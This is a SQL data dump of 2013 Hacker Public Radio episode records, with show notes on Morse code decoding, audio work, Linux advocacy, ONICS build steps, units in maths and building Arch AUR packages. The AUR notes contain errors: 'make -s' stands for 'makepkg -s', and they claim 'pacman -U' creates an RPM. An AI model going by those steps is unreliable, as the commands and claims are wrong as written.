href=\"https://en.wikipedia.org/wiki/Morse_code\">https://en.wikipedia.org/wiki/Morse_code</a>). Surprisingly, the only transcription error appears to be the first letter as it was slightly overlapped by the intro music. It\'s also interesting to note that, since music consists of almost no sounds this short, the script was able to extract the data and robustly ignored everything else. In light of this, I probably could have skipped removing the wav header. Additional time could be saved by changing the regex in the awk script to match the raw hex values and thereby eliminate the sed step.</p>',257,0,0,'CC-BY-SA','\"Morse code\",sox,hexdump,sed,awk',0,1714,1),
(1349,'2013-10-03','Melissa Dupreast helps me with Audio Compression',1068,'A lesson in audio compression from a professional engineer','<p>I impose upon Melissa Dupreast to help me learn about audio compression and I make a recording of our session for HPR. Missy is a professional audio engineer, working locally for radio and live sound reinforcement. She is also a recent graduate of our masters program at the University of Louisiana at Lafayette and is currently teaching 3 classes for us as an adjunct instructor.</p>',238,0,0,'CC-BY-SA','audio,compression,\"audio production\",\"audio quality\"',0,1618,1),
(1346,'2013-09-30','How to properly evangelize linux or why I use linux as my daily driver.',1051,'Riley Gelwicks gives advice on how to evangelize Linux','<p>Twitter/Identi.CA: @rileyinchina(Twitter)</p>\n <h2>How to properly evangelize technology or why I use linux as my daily driver.</h2>\n <h4>Background:</h4>\n <p>I started linux in 2007 with ubuntu 7.04 because I bought a cheap laptop in china that only had the entry level windows vista in the belief that I could change the language. I use linux on both my work and home pc’s htpc and a server, it really is just amazing the different applications and things you can do with it.</p>\n <p><strong>Current PC is using</strong>: ubuntu 12.04</p>\n <h4>Some rules of the road:</h4>\n <p><strong>Find the right time to broach the subject</strong>.Maybe when a person has to reinstall windows or they get a virus, or need to repurchase some piece of DRMed software.</p>\n <p><strong>Don’t talk down to anyone, laugh at them or be a jerk.</strong> The people we are trying to convert don’t use linux everyday or probably have a vague idea or understanding of what linux is, your mission is to be as patient as possible.</p>\n <p><strong>Don’t harp on how bad the system they are currently using is</strong>, find a situation in which they could benefit from the use of linux. The reason why fanboys exist is because we have this inherent need to not believe we are not wrong, if we are not wrong then surely the other guy is.</p>\n <p><strong>Don’t attempt to tell the person what free as free not free as in beer is.</strong> News alert, nobody cares, unfortunate as it may be nobody cares about these things.</p>\n <p><strong>Use practical examples as to why open source just works better</strong>: for me that’s wowing my coworkers by running a webserver on my desktop and having them test the various pieces of software before we settle on which one to put on our work server.</p>\n <p><strong>Show them how you use linux or other open source projects in your daily life</strong>, to me the best WOW factor comes from XBMC on a Home Theatre PC, add in a PVR and you’ll easily see people’s mouths drop.</p>\n <p><strong>Explain how open source is inherently more secure</strong> Linux has less exploited exploits</p>\n <p><strong>Use current events:</strong> NSA, Viruses the end of lifing of XP to show them why they should at least attempt it.</p>\n <p><strong>Ask them what they seriously use their computer for</strong>, my gut feeling is that about 75% of computer users don’t use anything on their computers that doesn’t already exist or have a worthy replacement in linux or an easy web application. And if worse comes to worse show them that they have the umbilical cord of WINE and or a virtual machine.</p>\n <p><strong>Appeal to their frugality:</strong></p>\n <p>Finally but probably most importantly put your money where your mouth is if you are taking the time to evangelize a product give a person some insurance:</p>\n <ol>\n  <li>Give a guaranteed tech support certificate to anyone that is willing to try.</li>\n  <li>Tell them to give linux a one day, one week and one month trial.</li>\n  <li>Help them install it.</li>\n  <li>Train them, most of us know that desktop linux is for all intents and purposes essentially the same as desktop Windows or Mac OSX</li>\n </ol>',258,0,0,'CC-BY-SA','Windows,Linux',0,1726,1),
(1347,'2013-10-01','LinuxJAZZ#4',1070,'Bariman describes his recording setup and methods','<h3>Getting Started</h3>\n <p><img alt=\"Home Setup\" src=\"https://hackerpublicradio.org/eps/hpr1347.jpg\" /></p>\n <p>Audioimprovised extract (49sec). The improvised extract shows the quality that can be achieved with a fairly simple audio studio setup. The podcast outlines a number of useful tips and describes my method in achieving a virtually total Linux solution in my workflow. See also earlier HPR episodes-hpr0712 and hpr0755.</p>\n <p>My studio at home is in a spare-bedroom; a room, just 16x12 feet, with no special sound-proofing, just full bookcases all around the walls. The sound is quite \'dead\' and OK for recording \'speech\' which I do using a Zoom H4n Recorder, mounted on a small tripod, with \'pop\' filter, and remote-controller to switch on and off.</p>\n <p>The vox part is one long file with pauses where the audio will be inserted. The file is saved to the PC as a WAV file into a master folder and, within that, three sub-folders to hold \'media\' and \'text\' files and a \'building\' folder to assemble the final recording.</p>\n <p>The solo instruments and backing tracks are recorded through a USB mixer attached to the PC. Audio-improvised extract (45sec) from my composition Summer Dancin\'. The piece was completely realised using the home set-up and Impro-Visor (<a href=\"https://bit.ly/EYbcv\">https://bit.ly/EYbcv</a>), which is similar to Band-in-a-Box with built-in rhythms and backings.</p>\n <p>My approach to writing musical themes is either \'melody\' first or \'chord\' sequence first. With Summer Dancin\' it was \'chord\' sequence first. I improvised a theme, live at the keyboard over a chord sequence and samba rhythm, using Impro-Visor. The main difference between Impro-Visor and Band-in-a-Box is that Band-in-a-Box uses sampled sounds to make up the backings, etc., whereas Impro-Visor\'s sounds are synthesised.</p>\n <p>AudioSummer Dancin\'-theme (51sec). The harmonic sequence for the tune is fairly complex; as is the melody. To achieve similar results needs a fair grounding in jazz-type harmony and improvisation. Any approach, be it simple or complex, will work equally effectively using this basic method.</p>\n <h3>What\'s in my music production \'Bag\'?</h3>\n <p>My main machine, is a basic PC desktop Acer Aspire SA80 with only 1 GB of ram. It has an Intel Pentium 4 processor and dual monitors. Xubuntu 12.04, LTS is the desktop and I use the on-board sound card. I have a small Yamaha PSR-350 keyboard attached via a Midiman MidiSport 2x2 interface. The Yamaha provides additional sound sets and it is through this that the backings are provided. The mixer is a Behringer Xenynx 1204FX and I use a variety of dynamic and studio capacitor microphones, with stands and \'pop\' filters and the Zoom H4n Recorder. Audioimprovised extract (54sec)</p>\n <h3>Process &amp; Procedure for Podcasts</h3>\n <p>For the instrumental portions, I mostly record straight into Audacity with the Band-in-a-Box backing track inputted to one channel of the mixer, and the instrument \'miked\' to a second channel. A small amount of effect is added to the \'miked\' channel while the \'backing\' track is kept \'flat.\' These are \'mixed\' down to a single mono track at 44100 Hz and exported and saved as a FLAC file. The solo Bumpers are just simply improvised and recorded on to a single Audacity track.</p>\n <p>To assemble the podcast, I place the vox recording on the top track and split and move the track at the point where I insert an audio clips. These are dragged into Audacity on a separate track and the cut part of the vox track, moved to the right, as necessary. If I need to record using separate tracking, then I use Ardour. I often produce the music in score and parts for subsequent \'live\' performances. The written music is produced using Sibelius 4 and the backings are generated with an old copy of Band-in-a-Box. Neither have been ported to Linux so I run them under Wine which is OK but it means only older copies of programmes will run. This is no problem, however, as the older versions provide all the functionality that I need.</p>\n <h3>Keeping It All Together</h3>\n <p>Well, regular practice is a important to stay \'up-to-speed.\' Besides essential scales and arpeggios, for a jazz musician, a solid amount of improvisation practice is necessary. Band-in-a-Box is an ideal tool for this, providing a backing track similar to the well-known Aebersold method. Audioimprovised extract (54sec).</p>\n <p>Well, thats\' all for now. Watch \'this space\' for further developments. Cheers for now . . .</p>\n <p>ENDS</p>',150,73,0,'CC-BY-SA','\"audio recording\"',0,1626,1),
(1348,'2013-10-02','Fuse',935,'MrX speaks about a bomb fuse that belonged to his grandfather','<p>\r\nA show about a 2nd world war fuse that had been in the family for many years, it originally belonged to my grandfather\r\n</p>\r\n<p>\r\nHere is a link to the British Ordnance Collectors Network forums, which has a picture of a collection of German bomb fuses, the one my grandfather had looked identical to the one on the extreme left hand side of the picture entitled \"25A\".\r\n<a href=\"https://www.bocn.co.uk/vbforum/threads/4700-My-German-Bomb-Fuses\">https://www.bocn.co.uk/vbforum/threads/4700-My-German-Bomb-Fuses</a>\r\n</p>\r\n	',201,0,0,'CC-BY-SA','\"World War 2\",\"bomb fuse\"',0,1574,1),
(1350,'2013-10-04','The Origin of ONICS (My Intro)',3137,'The Open Network Inspection Command Suite (ONICS)','<p>\r\nThis show is about the Open Network Inspection Command Suite (ONICS).  \r\nIt is a project I have been working on at home for a couple of years now.\r\nThe idea is to create a set of command line tools that work like cat, sed,\r\nawk, grep, etc but for network packets instead of lines of text.  This\r\npodcast is actually less about the tools and more about the process that\r\nI went through to build it.  So its more a tale of the project that was\r\nnever done than an explanation of how to use the tools.\r\n</p>\r\n<p>\r\nContact info: \r\n</p>\r\n\r\n<ul>\r\n<li>Gabriel Evenfire email: <a href=\"mailto:evenfire@sdf.org\">evenfire@sdf.org</a>\r\n</li>\r\n<li>ONICS Gitorious Page:  <a href=\"https://gitorious.org/onics\">https://gitorious.org/onics</a>\r\n</li>\r\n<li>ONICS Wiki Page: <a href=\"https://gitorious.org/onics/pages/Home\">https://gitorious.org/onics/pages/Home</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nQuick Start Guide for Building ONICS\r\n</p>\r\n\r\n<ul>\r\n<li>git clone git://gitorious.org/catlib/catlib.git catlib\r\n</li>\r\n<li>git clone git://gitorious.org/onics/onics.git onics\r\n</li>\r\n<li>cd catlib/src\r\n</li>\r\n<li>make\r\n</li>\r\n<li>cd ../../onics\r\n</li>\r\n<li>make\r\n</li>\r\n<li>sudo make install # (optional) \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe microphone I ended up jury rigging to record this:\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back1.jpg\"><img width=\"70%\" src=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back1.jpg\" alt=\"back of mic\" /><br />\r\nhttps://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back1.jpg</a>\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back2.jpg\"><img width=\"70%\" src=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back2.jpg\" alt=\"back of mic2\" /><br />\r\nhttps://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-back2.jpg</a>\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-front.jpg\"><img width=\"70%\" src=\"https://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-front.jpg\" alt=\"front of mic\" /><br />\r\nhttps://hackerpublicradio.org/eps/hpr1350/0_Evenfire-00-mic-front.jpg</a>\r\n</p>\r\n',259,0,0,'CC-BY-SA','\"command line\",networking',0,1701,1),
(1352,'2013-10-08','Stanford marshmallow experiment',4888,'A soundscape','<p>\r\nThe Stanford marshmallow experiment (wiki) refers to a series of studies on delayed gratification in the late 1960s and early 1970s led by psychologist Walter Mischel, then a professor at Stanford University. In these studies, a child was offered a choice between one small reward (sometimes a marshmallow, but often a cookie or a pretzel, etc.) provided immediately or two small rewards if he or she waited until the experimenter returned (after an absence of approximately 15 minutes). In follow-up studies, the researchers found that children who were able to wait longer for the preferred rewards tended to have better life outcomes, as measured by SAT scores, educational attainment, body mass index (BMI)  and other life measures.  However, recent work calls into question whether self-control, as opposed to strategic reasoning, determines children\'s behaviour.\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Stanford_marshmallow_experiment\">https://en.wikipedia.org/wiki/Stanford_marshmallow_experiment</a>\r\n</p>',224,101,0,'CC-BY-SA','Timing, Sensation, 2004',0,1876,1),
(1353,'2013-10-09','Practical Math - Introduction to Units',2567,'An Introduction to Units, with some useful illustrations','<pre>\r\nIntroduction: Units are the bridge from learning abstract arithmetic \r\n  operations on numbers to actually using maths to navigate the world of \r\n  objects, distance, time, rates, volume, temperature, heat, current,\r\n  voltage, and even cooking using recipes.\r\n\r\nGoal for the series: Embracing units, and carrying them along as you go,\r\n  can help you work with confidence in using maths in your life. \r\n  \r\n  When you start to use maths to solve real problems, you are going to \r\n  run into units.  This series is intended to show you that units are\r\n  your friends, and that they\'re here to help you.\r\n    \r\nGoal for this episode: We want to look at what units are, what they do, \r\n  types of units, and how to mix unitless numbers with units.\r\n  \r\n\r\nResource for the series:\r\n\r\n * Khan Academy pages on Rates, Ratios and Units\r\n   https://www.khanacademy.org/math/arithmetic/rates-and-ratios\r\n\r\n\r\nMost articles that would be relevant to this introductory episode were\r\nabout teaching physics and chemistry, or discussions of philosophical \r\nimplications of doing what we will be doing at every turn in this \r\nseries.  \r\n\r\nAll of the formal operations that we will learn to do with units are\r\ndone every day in real life by experts in their respective fields.  I am\r\nnot worried about what it means to say, \"There are 12 inches in a foot.\"\r\n\r\nLater shows will have more links and resources.\r\n\r\n\r\nSegment 1:  What do we mean by units?\r\n\r\n1. Definition: Two types of units are useful in practical maths:\r\n   \r\n   a. Counting units: An individual thing treated as single or complete.\r\n      Units can also apply to an individual component of a larger or \r\n      more complex system.  E.g., mufflers can become part of a car. \r\n\r\n      - Think of objects that you would keep in an inventory in your \r\n          pantry or in a warehouse.\r\n\r\n   b. Measurement units: A quantity chosen as a standard that you can \r\n      use as a common benchmark for comparing other quantities (of the\r\n      same kind).\r\n\r\n      - \"Same kind\": Don\'t try to compare distances to times or volumes.\r\n      \r\n      - \"Standards\": Communication tool for talking about quantities\r\n            without being face-to-face.  If you have standard units,\r\n            you avoid expressions like \"yea long\", \"kind of tall\", etc.\r\n      \r\n      - Probably invented by buyers and sellers, or by the spouse of an\r\n            avid fisherman.\r\n\r\n   c. Composite units: Units can be multiplied together (or divided) to\r\n      create new types of units.  Some people call these \"derived\r\n      quantities\", but that may sound too much like programming talk.\r\n      I use composite units because of the mental picture it creates of\r\n      putting things together, or doing one operation after another.\r\n      \r\n      - Dimensionality changes: \r\n        * 1 ft * 1 ft = 1 square foot: distance^2 --> area\r\n        * 1 ft * 1 ft * 1 ft = 1 cubic foot: distance^3 --> volume\r\n        \r\n      - Rates: \r\n        * Speed: distance / time = average speed, as in kilometers/hour\r\n        * Flow rates: volume / time, as in liters/minute\r\n        * Pressure: force / area, as in pounds / square foot\r\n        * Density: mass / volume, as in kilograms / liter\r\n        * Rationing: (1 period) counting units / time, as in apples/day\r\n                  (longer time) apples / family_member / day\r\n      \r\n      - We will run more of these types of units in later shows.\r\n       \r\n   \r\n2. Other kinds of numbers: Not every quantity has units attached\r\n\r\n   a. Numbers can be unitless. Unitless numbers help you make sense of\r\n         quantities with units through comparisons, extrapolations, etc.\r\n         \r\n     - Example: Percent changes are unitless floating point numbers, \r\n          unless it is tied to an elapsed time.  That\'s a \"rate\", which\r\n          has units of \"% per year\" (say).\r\n            \r\n     - Example: Percentage of Total values are unitless fractions, too.\r\n     \r\n     - Example: Any unit can be multiplied by a unitless integer.\r\n          * 2 feet, 3 apples, 4 quarts, 10 meters, etc.\r\n          * \"Twice as many\", \"ten times as far\", \"double a recipe\"\r\n     \r\n     - Counting units can be multiplied by a unitless fraction, but the\r\n          result will be rounded off to the nearest integer value.\r\n          * \"Mary has 2-1/2 times as many apples as John,\" is fine if\r\n               John has 4 apples, and Mary has 10 apples.\r\n          \r\n     - Example: Measurement units can be multiplied by any arbitrary\r\n          scale factor.\r\n          * How big: \"A land area 3.6 times the size of New Jersey...\"\r\n          * How far: \"I\'ll meet you halfway...\"\r\n          * How much: \"If using white flour, you\'ll need 30% more...\"   \r\n\r\n   b. When values with units are divided by other values with the very\r\n        same units, the result is a unitless number.\r\n      - Percent of Total and Percent Change are prime examples\r\n      - Comparison of distances: \r\n        * \"St. Johnsbury is 45 miles away, and Barton is only 15 miles.\r\n             So you have to drive 3 times as far to get to St. J.\"\r\n      \r\n   c. Conversion factors between units work in this way.  They are given\r\n          as ratios of some number of new_units divided by some other\r\n          number of original_units.  \r\n        \r\n        * The original_unit quantities cancel in multiplication, just as\r\n            numbers do, so you get an answer with the correct units!\r\n        \r\n        * You could call conversion factors \"derived quantities\", \r\n            because you create them from something called an identity,\r\n            or a statement of equality that you know to be true. \r\n   \r\n   d. Conversion factors will be covered next time.\r\n   \r\n   \r\n3. Why bother with \"counting units\"?  Aren\'t these just names?\r\n\r\n   a. Counting units are labels or names applied to individual items in\r\n      a total count, but they are still useful.\r\n   \r\n   b. Using counting units helps us to make distinctions between items\r\n      that are not interchangeable, so we can keep track of the counts\r\n      for each individual kind of item.\r\n      \r\n      - If you need 2 apples, having 10 onions does not help you.\r\n   \r\n      - Thinking with units will help you keep inventories and to start\r\n           setting up accounting systems for your business.  It will \r\n           also help you manage your kitchen and your budget at home.\r\n      \r\n\r\nSegment 2: Counting Units?  Are you serious?\r\n\r\n1. Counting units give context to the numbers that you are using in any\r\n   calculations that arise when you are buying, selling, trading or just\r\n   using up items in a beginning inventory.\r\n   \r\n   Here\'s what happens when you don\'t track units in counting problems.\r\n   \r\n   - Example: \"John has 9 apples in his basket.  If he gives 2 apples\r\n     to Mary, how many does he have left?\"\r\n     \r\n   - Speed test preparation textbooks seem to teach you to parse the \r\n     problem as if you were a word problem \"compiler\":\r\n\r\n     a. Fish out the numbers and their roles.\r\n       \r\n        --> Notice that 9 is near \"in his basket\", \r\n                              and \"how many does he have left?\", \r\n            \r\n            It must be the source.\r\n	\r\n	    --> Notice that 2 is next to \"gives away\". \r\n	    \r\n	        It must be the change in quantity.\r\n	\r\n     b. Parse out the operation: \"gives away\" is code for subtraction.\r\n\r\n     c. Do the calculation and supply a numerical answer: 9 - 2 = 7\r\n\r\n\r\n2. Re-work the problem by tracking units.\r\n   a. Read the problem.  I\'ll wait.  We will parse it together.\r\n   b. John has a basket with 9 apples in it --> beginning inventory\r\n   c. John gives away two (2) apples to Mary.\r\n      - John\'s inventory of 9 apples is reduced by 2 apples, \r\n      - John now has 7 apples in his basket.\r\n      \r\n   d. Mary now has 2 additional apples in her inventory.\r\n      - The apples were neither created out of nothing nor destroyed.\r\n      - They came from somewhere (John), and they went somewhere (Mary).\r\n      - If \"apples out\" does not equal \"apples in\", something\'s wrong. \r\n   \r\n   e. Having this information lets you answer questions with confidence.\r\n   \r\n   f. Answer the question: \"John now has 7 apples.\"\r\n      - John does not have \'7\'.  John has \'7 apples\'.\r\n\r\n\r\n3. Ho hum.  That solution is exactly the same. You\'re picking nits.\r\n\r\n   a. For a trivial problem, this looks the same.  But there are some \r\n      benefits of using units, even if they appear to be \"just labels\".\r\n \r\n   b. If the problem had said that \"John gave 2 oranges to Mary\", we\r\n      would have spotted the discrepancy immediately.\r\n      - Giving away oranges does not affect John\'s apple inventory\r\n      - The oranges must have come from another supply (account)\r\n      - We can still talk about an increase in Mary\'s oranges count, and\r\n          the decrease in John\'s oranges -- even though we don\'t know\r\n          the beginning or ending balances.\r\n   \r\n   c. What if the problem had said, \r\n         \"Mary has three times as many apples as John.  How many apples\r\n           would Mary have to give to John to leave each of them with \r\n           the same number of apples?\"\r\n   \r\n   d. Better yet, what if the problem read:\r\n         \"John has 19 apples, and Mary has 14 oranges. Now John likes \r\n           oranges twice as much as he likes apples, but Mary likes \r\n           apples three times as much as she likes oranges.  \r\n           \r\n           How can John and Mary exchange apples and oranges to get the \r\n           best (equal) gain in happiness?\"\r\n\r\n      - This problem involves not only the tracking of apples and \r\n          oranges, but probably some type of \"happiness\" function \r\n          that gives a value that carries some kind of units.\r\n        \r\n        Warning: There\'s not enough information to really solve this\r\n          problem without further assumptions.  It is meant as an \r\n          illustration of how complicated a setup can become when you\r\n          get into real life situations.\r\n      \r\n      - Problems like this are what make people hate economics.  One \r\n          way to solve it is to define utility functions for each party.\r\n      \r\n      - Their preferences are so different from their inventories, that\r\n          simply trading baskets is pretty close to an optimal solution.       \r\n      \r\n   e. If the problem had involved trading some of John\'s apples for \r\n        some of Mary\'s oranges, and possibly an offsetting cash payment\r\n        to correct an imbalance, we would make the best use of our \r\n        information about the sources and uses of resources by tracking\r\n        the units of each object or currency involved in the exchange.\r\n   \r\n      Point:  Problems can become complicated.  Units can help with the\r\n              bookkeeping needed to work through to the answers.\r\n\r\n              If someone poses a problem like this one to a group at a\r\n              dinner party, it is time to remember that you forgot to\r\n              iron your curtains.\r\n              \r\n              \r\n4. Final properties of counting units\r\n\r\n   a. Compatible counting units can be added and subtracted.\r\n      - Example: 6 apples + 4 apples = (6 + 4) apples, or 10 apples.\r\n      - Example: 6 apples + 2 oranges is a mixed expression.  They \r\n          cannot be added, except as part of a fruit salad.\r\n   \r\n   b. An amount that\'s given in counting units can be multiplied by an \r\n        integer, since that is like repeated additions.  They can also\r\n        be multiplied by a fractional amount, but we would want to \r\n        interpret the result as a whole number.\r\n        \r\n   c. Any multiplication by a floating point number would have to be \r\n      defined, and it\'s usually not worth the effort.\r\n   \r\n   d. Counting units have weaknesses, especially in classification:\r\n      - Organic items are usually not identical.  Apples can vary. \r\n        * Size: A recipe calls for \"3 large apples\".  Are these large?\r\n        * Varieties: \"Apples\" in the US can include Macintosh, Rome, \r\n             Gala, Granny Smith, etc.  These can be quite different.\r\n       \r\n      - Animals also vary within categories:\r\n        * Cats: Lions, lynxes and Little Puff can all qualify\r\n        * House cats: Siamese, Persians, Tabby cats are all just cats,\r\n            until you have them living in your home.\r\n      \r\n      - Some living things are hard to pin down: sponges, paramecia\r\n      \r\n      - Other items can also create classification issues, depending on\r\n           your purpose.\r\n        * Units are just tools.  Let them work for you, and not the \r\n            other way round.\r\n\r\n\r\nSegment 3: Units of measurement\r\n\r\n1. Measurement units are often continuous (or just about), so they can\r\n     be divided conceptually into smaller and smaller subunits as many\r\n     times as we like.  \r\n\r\n   - They can also be lumped together into larger and larger wholes.\r\n\r\n   - Physical limitations place practical limits on how finely we can\r\n       actually chop things up, and still get a measurement.\r\n       \r\n   - There are real world limitations on how much we can lump together.\r\n\r\n   - But you get the idea.\r\n\r\n\r\n2. Measurement units can be applied to distance, time, area, volume, \r\n     weight or mass, energy, frequencies of light or radio waves, \r\n     voltages, current, heat, temperature, and a host of other things.\r\n\r\n   - We can measure these quantities with differing levels of precision,\r\n       based on the instruments and abilities that we have.\r\n\r\n   - For all practical purposes, we measure within tolerances that we\r\n       can meet without spending our whole lives measuring. \r\n\r\n\r\n3. Applications of measurement units\r\n\r\n   a. Understanding the news: hectares of forest endangered by a fire,\r\n        square miles of arable farmland in South Africa,\r\n        temperatures given in unfamiliar scales such as Fahrenheit,\r\n        snowfall measurements in Canada versus neighboring Montana, etc.\r\n   \r\n   b. Following recipes to make bread, cookies, beer and other items \r\n        that promote World Peace\r\n   \r\n   c. Mixing chemicals for an old-school darkroom, or for a very cool \r\n        low-tech electronics home \"fab lab\"\r\n   \r\n   d. Buying gasoline (petrol) in other countries, and understanding\r\n        their speed limits in foreign units.\r\n        \r\n      - Can\'t help you with driving on the wrong side of the road\r\n   \r\n   e. Helping your kids with their maths homework, and understanding it\r\n        for once!\r\n   \r\n   f. Checking the dosages of your medications against your prescription\r\n         to find out if this is my medicine or my child\'s.  You just\r\n         have to be able to get this one right.\r\n\r\nWe\'ll get to all of this and more in future episodes in this series.\r\n</pre>\r\n\r\n',229,72,0,'CC-BY-SA','maths, units',0,1591,1),
(1354,'2013-10-10','Wayne Green',1911,'Memories of Wayne Green, an American publisher, writer, and consultant','<p>\r\n<strong>Wayne Green</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em>\r\n</p>\r\n<p>\r\nWayne Sanger Green II, was an American publisher, writer, and consultant. He was formerly editor of CQ magazine before he went on to found 73, 80 Micro, Byte, CD Review, Cold Fusion, Kilobaud Microcomputing, RUN, InCider, and Pico, as well as publishing books and running a software company. In the early 1980s, he assisted in the creation of the groundbreaking Brazilian microcomputing magazine, Micro Sistemas (Portuguese).\r\n</p>\r\n<p>\r\nLicensed by the Federal Communications Commission in the Amateur Radio Service with the callsign W2NSD, he was involved in a number of controversies and disputes in the Ham Radio world, notably with the ARRL and CQ magazines. As of 2011 he lived in a farmhouse in Hancock, New Hampshire and maintained a website with content from his on-line bookstore.\r\n</p>\r\n<p>\r\nWayne Green died September 13, 2013.\r\n</p>',155,0,1,'CC-BY-SA','\"Wayne Green\",publisher',0,1506,1),
(1356,'2013-10-14','So, you\'ve just installed Arch Linux, now what? Arch Lessons from a Newbie, Ep. 01',1463,'Manually installing packages from the AUR','<h2>Manually installing packages from the AUR</h2>\n <p>Since completing my conversion from Cinnarch to Antergos, (<a href=\"https://antergos.com/antergos-2013-05-12-were-back/\">https://antergos.com/antergos-2013-05-12-were-back/</a>, the published tutorial didn\'t work for me the first time, but the new Antergos forums were most helpful (https://forum.antergos.com/viewtopic.php?f=28&amp;t=944&amp;p=2892#p2892), a few utilities I installed under Cinnarch seem to be unavailable, notably, \'yaourt\' <a href=\"Tool\">Yet An Other User Repository</a>, the package manager for the AUR (Arch User Repositories).[The AUR are unofficial, \"use at your own risk\" repositories, roughly analogous to using a ppa in Ubuntu.] I tried \'sudo pacman -S yaourt\' and learned it wasn\'t found it the repositories (I should note that when I removed the old Cinnarch repos from /etc/pacman.conf, I must have missed including the new Antergos repos somehow). I have since completed the transition.</p>\n <p>Anyway, some experienced Arch users like Peter64 and Artv61 had asked me why I was using yaourt anyway instead of installing packages manually, which they considered to be more secure. I decided to take the opportunity to learn how to install packages manually, and to my surprise, it was not nearly as complex as I had feared. I had promised a series of podcasts along the theme, \"So, you\'ve just installed Arch Linux, now what?\" This may seem like I\'ve jumped ahead a couple steps, but I wanted to bring it to you while it was fresh in my mind.</p>\n <p>Your first step may be to ensure you really have to resort to the Arch User Repositories to install the app you are looking for. I\'d found Doc Viewer allowed me to access PDFs in Arch, but I really preferred Okular that I\'d used in other distros. When \'sudo pacman -S okular\' failed to find the package, I assumed it was only available from the AUR. However, a Google search on [ arch install okular ] revealed the package I needed was kdegraphics-okular, which I installed from the standard Arch repos.</p>\n <p>Once you\'ve determined the package you need exists in the AUR and not in the standard repos, you need to locate the appropriate package build, your Google search will probably take care of that. The URL should be in the form <i>http:aur.archlinux.org/packages/&lt;package-name&gt;</i>. For the sake of example, lets go to <i>https:aur.archlinux.org/packages/google-chrome/</i>. Chromium is already in standard Arch repos, but if you want Chrome, you will have to find it in the AUR. Find the link labeled \"Download the tarball\", it will be a file ending ing .tar.gz Before downloading a file, the Arch Wiki instructions for manually installing packages from the AUR https://wiki.archlinux.org/index.php/Arch_User_Repository recommend creating a designated folder to put them in, they suggest creating a \"builds\" folder in your home directory.</p>\n <p>If you have a multi-core machine, you may be able to take advantage of a slight compiler performance increase by making adjustments to your /etc/makepkg.conf&nbsp;. Look for \"CFLAGS=\", it should have a first parameter that looks like -march=x86_64 or -march=i686&nbsp;. Which ever it is, change it to -march=native and eliminate the second parameter that reads -mtune=generic . This will cause gcc to autdetect your processor type. Edit the next line, which begins with \"CXXFLAGS\", to read CXXFLAGS=\"${CFLAGS}\", the just causes the CXXFLAGS setting to echo CFLAGS. Details are located in https://wiki.archlinux.org/index.php/Makepkg.conf.</p>\n <p>Before installing your first AUR package, you will have to install base-devel, [ pacman -S base-devel , {as root, so become root or use sudo}]. Look for that .tar.gz file you downloaded, still using Chrome as an example, it\'s google-chrome.tar.gz&nbsp;. Unravel the tarball with \"tar -xvzf google-chrome.tar.gz\". Now, in your ~/builds folder you should have a new directory named \"google-chrome\". Drop down into the new folder. Since user repos are not as trusted as the standard ones, it might be a good idea to open PKGBUILD and look for malicious Bash instructions. Do the same with the .install file. Build the new package with \"make -s\". The \"-s\" switch lets the compiler resolve any unmet dependencies by prompting you for the your sudo password.</p>\n <p>You will have a new tarball in the format of &lt;application name&gt;-&lt;application version number&gt;-&lt;package revision number&gt;-&lt;architecture&gt;.pkg.tar.xz , in our google-chrome example, the file name was google-chrome-27.0.1453.110-1-x86_64.pkg.tar.xz&nbsp;. We install it with pacman\'s upgrade function \"pacman -U google-chrome-27.0.1453.110-1-x86_64.pkg.tar.xz\". This command will install the new package and create an RPM.</p>\n <p>Before running Arch, I did not realize spell checking was centrally configured in Linux, I always assumed each application had it\'s own spell checker. After installing Arch, I noticed auto-correct wasn\'t working anywhere. At length, I looked for a solution. I found Libre Office and most browsers rely on hunspell for spell checking functions. To get it working, you just need to install hunspell and the hunspell library appropriate for you language, i.e. \"pacman -S hunspell hunspell-en\"</p>\n <h2>StraightTalk/Tracphone, a quick review.</h2>\n <p>Before leaving for Philadelphia last spring, I decided I needed a cheap smartphone on a prepaid plan. The only one with reliable service in my area is StraightTalk, or Tracphone, sold in Walmart. For $35 a month, they advertise unlimited data, talk, and text. The one drawback, any form of tethering, wired or wireless, violates StraightTalk\'s TOS (frankly I missed that condition before buying the phone). Hmm, would Chromecast count? Anyway, for some people, no tethering would be an immediate deal breaker. Frankly, I can see the advantages to tethering, but the one scenario I\'m most interested in is isolating an infected system from a customer\'s network, and still be able to access anti malware resources. The budget phone I bought only supports 3G, and I\'m not in the habit of streaming media to it, much less sharing it to another device.</p>\n <p>That doesn\'t mean I don\'t use the bandwidth. I put a 16 gig SD card in my phone, and started using it as an additional pipeline to download Linux iso\'s. Anything I download, I can transfer to my network with ES File Explorer. I downloaded several Gigs in the first month to test the meaning of Unlimited. Towards the end of the month, and after I bought prepaid card for the next month, I had an off and on again data connection, I thought the provider was punishing me for being a hog, it turns out the phone was glitchy, and turning it off and back on again always re-establishes the data connection. Therefore, I am happy to report that StraightTalk actually seems to mean what they say when they advertise \"Unlimited\". Unfortunately, many of my direct downloads fail md5sum check. Direct downloads on 3G come down as fast as 75-100 MBps, but torrents seem to top out at 45MBps, the same as my home connection.</p>\n',131,0,1,'CC-BY-SA','Arch,\"Arch User Repositories\",AUR',0,1782,1),
